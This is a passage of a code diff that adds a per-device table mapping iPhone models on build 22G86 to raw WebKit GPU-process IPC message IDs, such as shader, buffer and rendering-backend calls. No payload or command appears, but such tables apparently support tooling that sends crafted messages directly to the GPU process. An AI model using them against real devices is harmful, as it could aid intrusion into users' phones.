RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + 